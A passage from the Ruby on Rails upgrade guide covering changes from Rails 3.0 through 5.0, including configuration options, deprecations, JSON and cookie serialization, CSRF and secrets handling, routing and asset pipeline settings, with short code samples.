7.20.4 Allow Configuration of Action Mailer Queue Name

The default mailer queue name is mailers. This configuration option allows you to globally change the queue name. Set the following in your config:

  config.action_mailer.deliver_later_queue_name = :new_queue_name

7.20.5 Support Fragment Caching in Action Mailer Views

Set config.action_mailer.perform_caching in your config to determine whether your Action Mailer views should support caching.

  config.action_mailer.perform_caching = true

7.20.6 Configure the Output of db:structure:dump

If you're using schema_search_path or other PostgreSQL extensions, you can control how the schema is dumped. Set to :all to generate all dumps, or to :schema_search_path to generate from schema search path.

  config.active_record.dump_schemas = :all

7.20.7 Configure SSL Options to Enable HSTS with Subdomains

Set the following in your config to enable HSTS when using subdomains:

  config.ssl_options = { hsts: { subdomains: true } }

7.20.8 Preserve Timezone of the Receiver

When using Ruby 2.4, you can preserve the timezone of the receiver when calling to_time.

  ActiveSupport.to_time_preserves_timezone = false

7.21 Changes with JSON/JSONB serialization

In Rails 5.0, how JSON/JSONB attributes are serialized and deserialized changed. Now, if you set a column equal to a String, Active Record will no longer turn that string into a Hash, and will instead only return the string. This is not limited to code interacting with models, but also affects :default column settings in db/schema.rb. It is recommended that you do not set columns equal to a String, but pass a Hash instead, which will be converted to and from a JSON string automatically.

8 Upgrading from Rails 4.1 to Rails 4.2

8.1 Web Console

First, add gem 'web-console', '~> 2.0' to the :development group in your Gemfile and run bundle install (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., <%= console %>) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment.

8.2 Responders

respond_with and the class-level respond_to methods have been extracted to the responders gem. To use them, simply add gem 'responders', '~> 2.0' to your Gemfile. Calls to respond_with and respond_to (again, at the class level) will no longer work without having included the responders gem in your dependencies:

  # app/controllers/users_controller.rb

class UsersController < ApplicationController
  respond_to :html, :json

  def show
    @user = User.find(params[:id])
    respond_with @user
  end
end

Instance-level respond_to is unaffected and does not require the additional gem:

  # app/controllers/users_controller.rb

class UsersController < ApplicationController
  def show
    @user = User.find(params[:id])
    respond_to do |format|
      format.html
      format.json { render json: @user }
    end
  end
end

See #16526 for more details.

8.3 Error handling in transaction callbacks

Currently, Active Record suppresses errors raised within after_rollback or after_commit callbacks and only prints them to the logs. In the next version, these errors will no longer be suppressed. Instead, the errors will propagate normally just like in other Active Record callbacks.

When you define an after_rollback or after_commit callback, you will receive a deprecation warning about this upcoming change. When you are ready, you can opt into the new behavior and remove the deprecation warning by adding following configuration to your config/application.rb:

  config.active_record.raise_in_transactional_callbacks = true

See #14488 and #16537 for more details.

8.4 Ordering of test cases

In Rails 5.0, test cases will be executed in random order by default. In anticipation of this change, Rails 4.2 introduced a new configuration option active_support.test_order for explicitly specifying the test ordering. This allows you to either lock down the current behavior by setting the option to :sorted, or opt into the future behavior by setting the option to :random.

If you do not specify a value for this option, a deprecation warning will be emitted. To avoid this, add the following line to your test environment:

  # config/environments/test.rb
Rails.application.configure do
  config.active_support.test_order = :sorted # or `:random` if you prefer
end

8.5 Serialized attributes

When using a custom coder (e.g. serialize :metadata, JSON), assigning nil to a serialized attribute will save it to the database as NULL instead of passing the nil value through the coder (e.g. "null" when using the JSON coder).

8.6 Production log level

In Rails 5, the default log level for the production environment will be changed to :debug (from :info). To preserve the current default, add the following line to your production.rb:

  # Set to `:info` to match the current default, or set to `:debug` to opt-into
# the future default.
config.log_level = :info

8.7 after_bundle in Rails templates

If you have a Rails template that adds all the files in version control, it fails to add the generated binstubs because it gets executed before Bundler:

  # template.rb
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rake("db:migrate")

git :init
git add: "."
git commit: %Q{ -m 'Initial commit' }

You can now wrap the git calls in an after_bundle block. It will be run after the binstubs have been generated.

  # template.rb
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rake("db:migrate")

after_bundle do
  git :init
  git add: "."
  git commit: %Q{ -m 'Initial commit' }
end

8.8 Rails HTML Sanitizer

There's a new choice for sanitizing HTML fragments in your applications. The venerable html-scanner approach is now officially being deprecated in favor of Rails HTML Sanitizer.

This means the methods sanitize, sanitize_css, strip_tags and strip_links are backed by a new implementation.

This new sanitizer uses Loofah internally. Loofah in turn uses Nokogiri, which wraps XML parsers written in both C and Java, so sanitization should be faster no matter which Ruby version you run.

The new version updates sanitize, so it can take a Loofah::Scrubber for powerful scrubbing. See some examples of scrubbers here.

Two new scrubbers have also been added: PermitScrubber and TargetScrubber. Read the gem's readme for more information.

The documentation for PermitScrubber and TargetScrubber explains how you can gain complete control over when and how elements should be stripped.

If your application needs to use the old sanitizer implementation, include rails-deprecated_sanitizer in your Gemfile:

  gem 'rails-deprecated_sanitizer'

8.9 Rails DOM Testing

The TagAssertions module (containing methods such as assert_tag), has been deprecated in favor of the assert_select methods from the SelectorAssertions module, which has been extracted into the rails-dom-testing gem.

8.10 Masked Authenticity Tokens

In order to mitigate SSL attacks, form_authenticity_token is now masked so that it varies with each request. Thus, tokens are validated by unmasking and then decrypting. As a result, any strategies for verifying requests from non-rails forms that relied on a static session CSRF token have to take this into account.

8.11 Action Mailer

Previously, calling a mailer method on a mailer class will result in the corresponding instance method being executed directly. With the introduction of Active Job and #deliver_later, this is no longer true. In Rails 4.2, the invocation of the instance methods are deferred until either deliver_now or deliver_later is called. For example:

  class Notifier < ActionMailer::Base
  def notify(user, ...)
    puts "Called"
    mail(to: user.email, ...)
  end
end

  mail = Notifier.notify(user, ...) # Notifier#notify is not yet called at this point
mail = mail.deliver_now           # Prints "Called"

This should not result in any noticeable differences for most applications. However, if you need some non-mailer methods to be executed synchronously, and you were previously relying on the synchronous proxying behavior, you should define them as class methods on the mailer class directly:

  class Notifier < ActionMailer::Base
  def self.broadcast_notifications(users, ...)
    users.each { |user| Notifier.notify(user, ...) }
  end
end

8.12 Foreign Key Support

The migration DSL has been expanded to support foreign key definitions. If you've been using the Foreigner gem, you might want to consider removing it. Note that the foreign key support of Rails is a subset of Foreigner. This means that not every Foreigner definition can be fully replaced by its Rails migration DSL counterpart.

The migration procedure is as follows:

remove gem "foreigner" from the Gemfile.

run bundle install.

run bin/rake db:schema:dump.

make sure that db/schema.rb contains every foreign key definition with the necessary options.

9 Upgrading from Rails 4.0 to Rails 4.1

9.1 CSRF protection from remote <script> tags

Or, "whaaat my tests are failing!!!?" or "my <script> widget is busted!!"

Cross-site request forgery (CSRF) protection now covers GET requests with JavaScript responses, too. This prevents a third-party site from remotely referencing your JavaScript with a <script> tag to extract sensitive data.

This means that your functional and integration tests that use

  get :index, format: :js

will now trigger CSRF protection. Switch to

  xhr :get, :index, format: :js

to explicitly test an XmlHttpRequest.

Your own <script> tags are treated as cross-origin and blocked by default, too. If you really mean to load JavaScript from <script> tags, you must now explicitly skip CSRF protection on those actions.

9.2 Spring

If you want to use Spring as your application preloader you need to:

Add gem 'spring', group: :development to your Gemfile.

Install spring using bundle install.

Generate the Spring binstub with bundle exec spring binstub.

User defined rake tasks will run in the development environment by default. If you want them to run in other environments consult the Spring README.

9.3 config/secrets.yml

If you want to use the new secrets.yml convention to store your application's secrets, you need to:

Create a secrets.yml file in your config folder with the following content:

development:
  secret_key_base:

test:
  secret_key_base:

production:
  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

Use your existing secret_key_base from the secret_token.rb initializer to set the SECRET_KEY_BASE environment variable for whichever users running the Rails application in production. Alternatively, you can simply copy the existing secret_key_base from the secret_token.rb initializer to secrets.yml under the production section, replacing <%= ENV["SECRET_KEY_BASE"] %>.

Remove the secret_token.rb initializer.

Use rake secret to generate new keys for the development and test sections.

Restart your server.

9.4 Changes to test helper

If your test helper contains a call to ActiveRecord::Migration.check_pending! this can be removed. The check is now done automatically when you require "rails/test_help", although leaving this line in your helper is not harmful in any way.

9.5 Cookies serializer

Applications created before Rails 4.1 uses Marshal to serialize cookie values into the signed and encrypted cookie jars. If you want to use the new JSON-based format in your application, you can add an initializer file with the following content:

  Rails.application.config.action_dispatch.cookies_serializer = :hybrid

This would transparently migrate your existing Marshal-serialized cookies into the new JSON-based format.

When using the :json or :hybrid serializer, you should beware that not all Ruby objects can be serialized as JSON. For example, Date and Time objects will be serialized as strings, and Hashes will have their keys stringified.

  class CookiesController < ApplicationController
  def set_cookie
    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
    redirect_to action: 'read_cookie'
  end

  def read_cookie
    cookies.encrypted[:expiration_date] # => "2014-03-20"
  end
end

It's advisable that you only store simple data (strings and numbers) in cookies. If you have to store complex objects, you would need to handle the conversion manually when reading the values on subsequent requests.

If you use the cookie session store, this would apply to the session and flash hash as well.

9.6 Flash structure changes

Flash message keys are normalized to strings. They can still be accessed using either symbols or strings. Looping through the flash will always yield string keys:

  flash["string"] = "a string"
flash[:symbol] = "a symbol"

# Rails < 4.1
flash.keys # => ["string", :symbol]

# Rails >= 4.1
flash.keys # => ["string", "symbol"]

Make sure you are comparing Flash message keys against strings.

9.7 Changes in JSON handling

There are a few major changes related to JSON handling in Rails 4.1.

9.7.1 MultiJSON removal

MultiJSON has reached its end-of-life and has been removed from Rails.

If your application currently depends on MultiJSON directly, you have a few options:

Add 'multi_json' to your Gemfile. Note that this might cease to work in the future

Migrate away from MultiJSON by using obj.to_json, and JSON.parse(str) instead.

Do not simply replace MultiJson.dump and MultiJson.load with JSON.dump and JSON.load. These JSON gem APIs are meant for serializing and deserializing arbitrary Ruby objects and are generally unsafe.

9.7.2 JSON gem compatibility

Historically, Rails had some compatibility issues with the JSON gem. Using JSON.generate and JSON.dump inside a Rails application could produce unexpected errors.

Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The JSON gem APIs will function as normal, but they will not have access to any Rails-specific features. For example:

  class FooBar
  def as_json(options = nil)
    { foo: 'bar' }
  end
end

  irb> FooBar.new.to_json
=> "{\"foo\":\"bar\"}"
irb> JSON.generate(FooBar.new, quirks_mode: true)
=> "\"#<FooBar:0x007fa80a481610>\""

9.7.3 New JSON encoder

The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON gem. For most applications, this should be a transparent change. However, as part of the rewrite, the following features have been removed from the encoder:

Circular data structure detection

Support for the encode_json hook

Option to encode BigDecimal objects as numbers instead of strings

If your application depends on one of these features, you can get them back by adding the activesupport-json_encoder gem to your Gemfile.

9.7.4 JSON representation of Time objects

#as_json for objects with time component (Time, DateTime, ActiveSupport::TimeWithZone) now returns millisecond precision by default. If you need to keep old behavior with no millisecond precision, set the following in an initializer:

  ActiveSupport::JSON::Encoding.time_precision = 0

9.8 Usage of return within inline callback blocks

Previously, Rails allowed inline callback blocks to use return this way:

  class ReadOnlyModel < ActiveRecord::Base
  before_save { return false } # BAD
end

This behavior was never intentionally supported. Due to a change in the internals of ActiveSupport::Callbacks, this is no longer allowed in Rails 4.1. Using a return statement in an inline callback block causes a LocalJumpError to be raised when the callback is executed.

Inline callback blocks using return can be refactored to evaluate to the returned value:

  class ReadOnlyModel < ActiveRecord::Base
  before_save { false } # GOOD
end

Alternatively, if return is preferred it is recommended to explicitly define a method:

  class ReadOnlyModel < ActiveRecord::Base
  before_save :before_save_callback # GOOD

  private
    def before_save_callback
      return false
    end
end

This change applies to most places in Rails where callbacks are used, including Active Record and Active Model callbacks, as well as filters in Action Controller (e.g. before_action).

See this pull request for more details.

9.9 Methods defined in Active Record fixtures

Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods defined in a fixture will not be available in other fixtures.

Helper methods that are used in multiple fixtures should be defined on modules included in the newly introduced ActiveRecord::FixtureSet.context_class, in test_helper.rb.

  module FixtureFileHelpers
  def file_sha(path)
    OpenSSL::Digest::SHA256.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
  end
end

ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers

9.10 I18n enforcing available locales

Rails 4.1 now defaults the I18n option enforce_available_locales to true. This means that it will make sure that all locales passed to it must be declared in the available_locales list.

To disable it (and allow I18n to accept any locale option) add the following configuration to your application:

  config.i18n.enforce_available_locales = false

Note that this option was added as a security measure, to ensure user input cannot be used as locale information unless it is previously known. Therefore, it's recommended not to disable this option unless you have a strong reason for doing so.

9.11 Mutator methods called on Relation

Relation no longer has mutator methods like #map! and #delete_if. Convert to an Array by calling #to_a before using these methods.

It intends to prevent odd bugs and confusion in code that call mutator methods directly on the Relation.

  # Instead of this
Author.where(name: 'Hank Moody').compact!

# Now you have to do this
authors = Author.where(name: 'Hank Moody').to_a
authors.compact!

9.12 Changes on Default Scopes

Default scopes are no longer overridden by chained conditions.

In previous versions when you defined a default_scope in a model it was overridden by chained conditions in the same field. Now it is merged like any other scope.

Before:

  class User < ActiveRecord::Base
  default_scope { where state: 'pending' }
  scope :active, -> { where state: 'active' }
  scope :inactive, -> { where state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'

After:

  class User < ActiveRecord::Base
  default_scope { where state: 'pending' }
  scope :active, -> { where state: 'active' }
  scope :inactive, -> { where state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'

User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'

To get the previous behavior it is needed to explicitly remove the default_scope condition using unscoped, unscope, rewhere or except.

  class User < ActiveRecord::Base
  default_scope { where state: 'pending' }
  scope :active, -> { unscope(where: :state).where(state: 'active') }
  scope :inactive, -> { rewhere state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

User.inactive
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'

9.13 Rendering content from string

Rails 4.1 introduces :plain, :html, and :body options to render. Those options are now the preferred way to render string-based content, as it allows you to specify which content type you want the response sent as.

render :plain will set the content type to text/plain

render :html will set the content type to text/html

render :body will not set the content type header.

From the security standpoint, if you don't expect to have any markup in your response body, you should be using render :plain as most browsers will escape unsafe content in the response for you.

We will be deprecating the use of render :text in a future version. So please start using the more precise :plain, :html, and :body options instead. Using render :text may pose a security risk, as the content is sent as text/html.

9.14 PostgreSQL json and hstore datatypes

Rails 4.1 will map json and hstore columns to a string-keyed Ruby Hash. In earlier versions, a HashWithIndifferentAccess was used. This means that symbol access is no longer supported. This is also the case for store_accessors based on top of json or hstore columns. Make sure to use string keys consistently.

9.15 Explicit block use for ActiveSupport::Callbacks

Rails 4.1 now expects an explicit block to be passed when calling ActiveSupport::Callbacks.set_callback. This change stems from ActiveSupport::Callbacks being largely rewritten for the 4.1 release.

  # Previously in Rails 4.0
set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }

# Now in Rails 4.1
set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }

10 Upgrading from Rails 3.2 to Rails 4.0

If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.

The following changes are meant for upgrading your application to Rails 4.0.

10.1 HTTP PATCH

Rails 4 now uses PATCH as the primary HTTP verb for updates when a RESTful resource is declared in config/routes.rb. The update action is still used, and PUT requests will continue to be routed to the update action as well. So, if you're using only the standard RESTful routes, no changes need to be made:

  resources :users

  <%= form_for @user do |f| %>

  class UsersController < ApplicationController
  def update
    # No change needed; PATCH will be preferred, and PUT will still work.
  end
end

However, you will need to make a change if you are using form_for to update a resource in conjunction with a custom route using the PUT HTTP method:

  resources :users do
  put :update_name, on: :member
end

  <%= form_for [ :update_name, @user ] do |f| %>

  class UsersController < ApplicationController
  def update_name
    # Change needed; form_for will try to use a non-existent PATCH route.
  end
end

If the action is not being used in a public API and you are free to change the HTTP method, you can update your route to use patch instead of put:

  resources :users do
  patch :update_name, on: :member
end

PUT requests to /users/:id in Rails 4 get routed to update as they are today. So, if you have an API that gets real PUT requests it is going to work. The router also routes PATCH requests to /users/:id to the update action.

If the action is being used in a public API and you can't change to HTTP method being used, you can update your form to use the PUT method instead:

  <%= form_for [ :update_name, @user ], method: :put do |f| %>

For more on PATCH and why this change was made, see this post on the Rails blog.

10.1.1 A note about media types

The errata for the PATCH verb specifies that a 'diff' media type should be used with PATCH. One such format is JSON Patch. While Rails does not support JSON Patch natively, it's easy enough to add support:

  # in your controller:
def update
  respond_to do |format|
    format.json do
      # perform a partial update
      @article.update params[:article]
    end

    format.json_patch do
      # perform sophisticated change
    end
  end
end

  # config/initializers/json_patch.rb
Mime::Type.register 'application/json-patch+json', :json_patch

As JSON Patch was only recently made into an RFC, there aren't a lot of great Ruby libraries yet. Aaron Patterson's hana is one such gem, but doesn't have full support for the last few changes in the specification.

10.2 Gemfile

Rails 4.0 removed the assets group from Gemfile. You'd need to remove that line from your Gemfile when upgrading. You should also update your application file (in config/application.rb):

  # Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

10.3 vendor/plugins

Rails 4.0 no longer supports loading plugins from vendor/plugins. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

10.4 Active Record

Rails 4.0 has removed the identity map from Active Record, due to some inconsistencies with associations. If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: config.active_record.identity_map.

The delete method in collection associations can now receive Integer or String arguments as record ids, besides records, pretty much like the destroy method does. Previously it raised ActiveRecord::AssociationTypeMismatch for such arguments. From Rails 4.0 on delete automatically tries to find the records matching the given ids before deleting them.

In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed.

Rails 4.0 has changed serialized_attributes and attr_readonly to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. self.serialized_attributes to self.class.serialized_attributes.

When using the default coder, assigning nil to a serialized attribute will save it to the database as NULL instead of passing the nil value through YAML ("--- \n...\n").

Rails 4.0 has removed attr_accessible and attr_protected feature in favor of Strong Parameters. You can use the Protected Attributes gem for a smooth upgrade path.

If you are not using Protected Attributes, you can remove any options related to this gem such as whitelist_attributes or mass_assignment_sanitizer options.

Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:

  scope :active, where(active: true)

  # becomes
  scope :active, -> { where active: true }

Rails 4.0 has deprecated ActiveRecord::Fixtures in favor of ActiveRecord::FixtureSet.

Rails 4.0 has deprecated ActiveRecord::TestCase in favor of ActiveSupport::TestCase.

Rails 4.0 has deprecated the old-style hash-based finder API. This means that methods which previously accepted "finder options" no longer do. For example, Book.find(:all, conditions: { name: '1984' }) has been deprecated in favor of Book.where(name: '1984')

All dynamic methods except for find_by_... and find_by_...! are deprecated. Here's how you can handle the changes:

find_all_by_... becomes where(...).

find_last_by_... becomes where(...).last.

scoped_by_... becomes where(...).

find_or_initialize_by_... becomes find_or_initialize_by(...).

find_or_create_by_... becomes find_or_create_by(...).

Note that where(...) returns a relation, not an array like the old finders. If you require an Array, use where(...).to_a.

These equivalent methods may not execute the same SQL as the previous implementation.

To re-enable the old finders, you can use the activerecord-deprecated_finders gem.

Rails 4.0 has changed to default join table for has_and_belongs_to_many relations to strip the common prefix off the second table name. Any existing has_and_belongs_to_many relationship between models with a common prefix must be specified with the join_table option. For example:

CatalogCategory < ActiveRecord::Base
  has_and_belongs_to_many :catalog_products, join_table: 'catalog_categories_catalog_products'
end

CatalogProduct < ActiveRecord::Base
  has_and_belongs_to_many :catalog_categories, join_table: 'catalog_categories_catalog_products'
end

Note that the prefix takes scopes into account as well, so relations between Catalog::Category and Catalog::Product or Catalog::Category and CatalogProduct need to be updated similarly.

10.5 Active Resource

Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the Active Resource gem in your Gemfile.

10.6 Active Model

Rails 4.0 has changed how errors attach with the ActiveModel::Validations::ConfirmationValidator. Now when confirmation validations fail, the error will be attached to :#{attribute}_confirmation instead of attribute.

Rails 4.0 has changed ActiveModel::Serializers::JSON.include_root_in_json default value to false. Now, Active Model Serializers and Active Record objects have the same default behavior. This means that you can comment or remove the following option in the config/initializers/wrap_parameters.rb file:

# Disable root element in JSON by default.
# ActiveSupport.on_load(:active_record) do
#   self.include_root_in_json = false
# end

10.7 Action Pack

Rails 4.0 introduces ActiveSupport::KeyGenerator and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing secret_token in place and add the new secret_key_base.

  # config/initializers/secret_token.rb
  Myapp::Application.config.secret_token = 'existing secret token'
  Myapp::Application.config.secret_key_base = 'new secret key base'

Please note that you should wait to set secret_key_base until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new secret_key_base in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing secret_token in place, not set the new secret_key_base, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete.

If you are relying on the ability for external applications or JavaScript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set secret_key_base until you have decoupled these concerns.

Rails 4.0 encrypts the contents of cookie-based sessions if secret_key_base has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty.

Please read Pull Request #9978 for details on the move to encrypted session cookies.

Rails 4.0 removed the ActionController::Base.asset_path option. Use the assets pipeline feature.

Rails 4.0 has deprecated ActionController::Base.page_cache_extension option. Use ActionController::Base.default_static_extension instead.

Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the actionpack-action_caching gem in order to use caches_action and the actionpack-page_caching to use caches_page in your controllers.

Rails 4.0 has removed the XML parameters parser. You will need to add the actionpack-xml_parser gem if you require this feature.

Rails 4.0 changes the default layout lookup set using symbols or procs that return nil. To get the "no layout" behavior, return false instead of nil.

Rails 4.0 changes the default memcached client from memcache-client to dalli. To upgrade, simply add gem 'dalli' to your Gemfile.

Rails 4.0 deprecates the dom_id and dom_class methods in controllers (they are fine in views). You will need to include the ActionView::RecordIdentifier module in controllers requiring this feature.

Rails 4.0 deprecates the :confirm option for the link_to helper. You should instead rely on a data attribute (e.g. data: { confirm: 'Are you sure?' }). This deprecation also concerns the helpers based on this one (such as link_to_if or link_to_unless).

Rails 4.0 changed how assert_generates, assert_recognizes, and assert_routing work. Now all these assertions raise Assertion instead of ActionController::RoutingError.

Rails 4.0 raises an ArgumentError if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the resources method. Here are two examples that clash with routes named example_path:

get 'one' => 'test#example', as: :example
get 'two' => 'test#example', as: :example

resources :examples
get 'clashing/:id' => 'test#example', as: :example

In the first case, you can simply avoid using the same name for multiple routes. In the second, you can use the only or except options provided by the resources method to restrict the routes created as detailed in the Routing Guide.

Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:

get Rack::Utils.escape('こんにちは'), controller: 'welcome', action: 'index'

becomes

get 'こんにちは', controller: 'welcome', action: 'index'

Rails 4.0 requires that routes using match must specify the request method. For example:

  # Rails 3.x
  match '/' => 'root#index'

  # becomes
  match '/' => 'root#index', via: :get

  # or
  get '/' => 'root#index'

Rails 4.0 has removed ActionDispatch::BestStandardsSupport middleware, <!DOCTYPE html> already triggers standards mode per https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to config.action_dispatch.default_headers.

Remember you must also remove any references to the middleware from your application code, for example:

# Raise exception
config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)

Also check your environment settings for config.action_dispatch.best_standards_support and remove it if present.

Rails 4.0 allows configuration of HTTP headers by setting config.action_dispatch.default_headers. The defaults are as follows:

  config.action_dispatch.default_headers = {
    'X-Frame-Options' => 'SAMEORIGIN',
    'X-XSS-Protection' => '1; mode=block'
  }

Please note that if your application is dependent on loading certain pages in a <frame> or <iframe>, then you may need to explicitly set X-Frame-Options to ALLOW-FROM ... or ALLOWALL.

In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from vendor/assets and lib/assets. Rails application and engine developers should put these assets in app/assets or configure config.assets.precompile.

In Rails 4.0, ActionController::UnknownFormat is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.

In Rails 4.0, a generic ActionDispatch::ParamsParser::ParseError exception is raised when ParamsParser fails to parse request params. You will want to rescue this exception instead of the low-level MultiJson::DecodeError, for example.

In Rails 4.0, SCRIPT_NAME is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set default_url_options[:script_name] to work around overwritten URL prefixes.

Rails 4.0 deprecated ActionController::Integration in favor of ActionDispatch::Integration.

Rails 4.0 deprecated ActionController::IntegrationTest in favor of ActionDispatch::IntegrationTest.

Rails 4.0 deprecated ActionController::PerformanceTest in favor of ActionDispatch::PerformanceTest.

Rails 4.0 deprecated ActionController::AbstractRequest in favor of ActionDispatch::Request.

Rails 4.0 deprecated ActionController::Request in favor of ActionDispatch::Request.

Rails 4.0 deprecated ActionController::AbstractResponse in favor of ActionDispatch::Response.

Rails 4.0 deprecated ActionController::Response in favor of ActionDispatch::Response.

Rails 4.0 deprecated ActionController::Routing in favor of ActionDispatch::Routing.

10.8 Active Support

Rails 4.0 removes the j alias for ERB::Util#json_escape since j is already used for ActionView::Helpers::JavaScriptHelper#escape_javascript.

10.8.1 Cache

The caching method changed between Rails 3.x and 4.0. You should change the cache namespace and roll out with a cold cache.

10.9 Helpers Loading Order

The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the helpers_path parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods are available after upgrade. If you would like to change the order in which engines are loaded, you can use config.railties_order= method.

10.10 Active Record Observer and Action Controller Sweeper

ActiveRecord::Observer and ActionController::Caching::Sweeper have been extracted to the rails-observers gem. You will need to add the rails-observers gem if you require these features.

10.11 sprockets-rails

assets:precompile:primary and assets:precompile:all have been removed. Use assets:precompile instead.

The config.assets.compress option should be changed to config.assets.js_compressor like so for instance:

config.assets.js_compressor = :uglifier

10.12 sass-rails

asset-url with two arguments is deprecated. For example: asset-url("rails.png", image) becomes asset-url("rails.png").

11 Upgrading from Rails 3.1 to Rails 3.2

If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.

The following changes are meant for upgrading your application to the latest 3.2.x version of Rails.

11.1 Gemfile

Make the following changes to your Gemfile.

  gem 'rails', '3.2.21'

group :assets do
  gem 'sass-rails',   '~> 3.2.6'
  gem 'coffee-rails', '~> 3.2.2'
  gem 'uglifier',     '>= 1.0.3'
end

11.2 config/environments/development.rb

There are a couple of new configuration settings that you should add to your development environment:

  # Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5

11.3 config/environments/test.rb

The mass_assignment_sanitizer configuration setting should also be added to config/environments/test.rb:

  # Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

11.4 vendor/plugins

Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

11.5 Active Record

Option :dependent => :restrict has been removed from belongs_to. If you want to prevent deleting the object if there are any associated objects, you can set :dependent => :destroy and return false after checking for existence of association from any of the associated object's destroy callbacks.

12 Upgrading from Rails 3.0 to Rails 3.1

If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.

The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails.

12.1 Gemfile

Make the following changes to your Gemfile.

  gem 'rails', '3.1.12'
gem 'mysql2'

# Needed for the new asset pipeline
group :assets do
  gem 'sass-rails',   '~> 3.1.7'
  gem 'coffee-rails', '~> 3.1.1'
  gem 'uglifier',     '>= 1.0.3'
end

# jQuery is the default JavaScript library in Rails 3.1
gem 'jquery-rails'

12.2 config/application.rb

The asset pipeline requires the following additions:

  config.assets.enabled = true
config.assets.version = '1.0'

If your application is using an "/assets" route for a resource you may want to change the prefix used for assets to avoid conflicts:

  # Defaults to '/assets'
config.assets.prefix = '/asset-files'

12.3 config/environments/development.rb

Remove the RJS setting config.action_view.debug_rjs = true.

Add these settings if you enable the asset pipeline:

  # Do not compress assets
config.assets.compress = false

# Expands the lines which load the assets
config.assets.debug = true

12.4 config/environments/production.rb

Again, most of the changes below are for the asset pipeline. You can read more about these in the Asset Pipeline guide.

  # Compress JavaScripts and CSS
config.assets.compress = true

# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false

# Generate digests for assets URLs
config.assets.digest = true

# Defaults to Rails.root.join("public/assets")
# config.assets.manifest = YOUR_PATH

# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile += %w( admin.js admin.css )

# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true

12.5 config/environments/test.rb

You can help test performance with these additions to your test environment:

  # Configure static asset server for tests with Cache-Control for performance
config.public_file_server.enabled = true
config.public_file_server.headers = {
  'Cache-Control' => 'public, max-age=3600'
}

